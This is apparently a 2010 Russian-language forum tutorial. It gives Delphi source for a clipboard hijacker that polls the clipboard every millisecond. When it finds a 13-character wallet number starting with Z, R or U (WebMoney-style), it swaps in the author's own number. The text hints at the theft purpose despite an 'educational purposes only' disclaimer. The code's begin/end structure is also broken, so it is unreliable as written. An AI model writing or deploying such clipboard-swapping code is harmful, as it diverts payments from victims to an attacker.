Подмена буфера обмена. Доступ к буферу обмена. Использование буфера обмена.

Как то видел проги которые подменивают в буфере обмена текст для.... думаю сами знaете для чего.

Материал написан в чисто образовательных целях.

На форму кинем Timer назавем его Timer1. Теперь в uses пропишем Clipbrd; он нам нужен что бы отслеживать наш буфер обмена.
Поставь у таймера интервал в 1 миллсекунду, я думаю точно не прогадаешь)
Теперь создадим процедуру обработчик Timer1.OnTimer (два раза клацни по таймеру) и впишем туда:

var s:string; //Объявим одну переменную
begin
  s:=Clipboard.AsText; //Присаеваем "S" текст буфера
if Length(s)=13 then //Если длина текста буфера равна 13 (длина номера кошелька)
begin //то начинаем проверки
   if Copy(s,1,1)='Z'  //если первый текст буфера обмена равен "Z" то
then
Clipboard.SetTextBuf('Z123456789 ©k0d.cc');  //Устанаваливам свой текст!
end;
if Copy(s,1,1)='R'  //если первый текст буфера обмена равен "R" то
then
Clipboard.SetTextBuf('R123456789 ©k0d.cc');  //Устанаваливам свой текст!
end;
if Copy(s,1,1)='U'  //если первый текст буфера обмена равен "U" то
then
Clipboard.SetTextBuf('U123456789 ©k0d.cc');  //Устанаваливам свой текст!
end;
ShowMessage('Будьте внимательны вас пытаются обмануть :)   ©k0d.cc 2010')
end;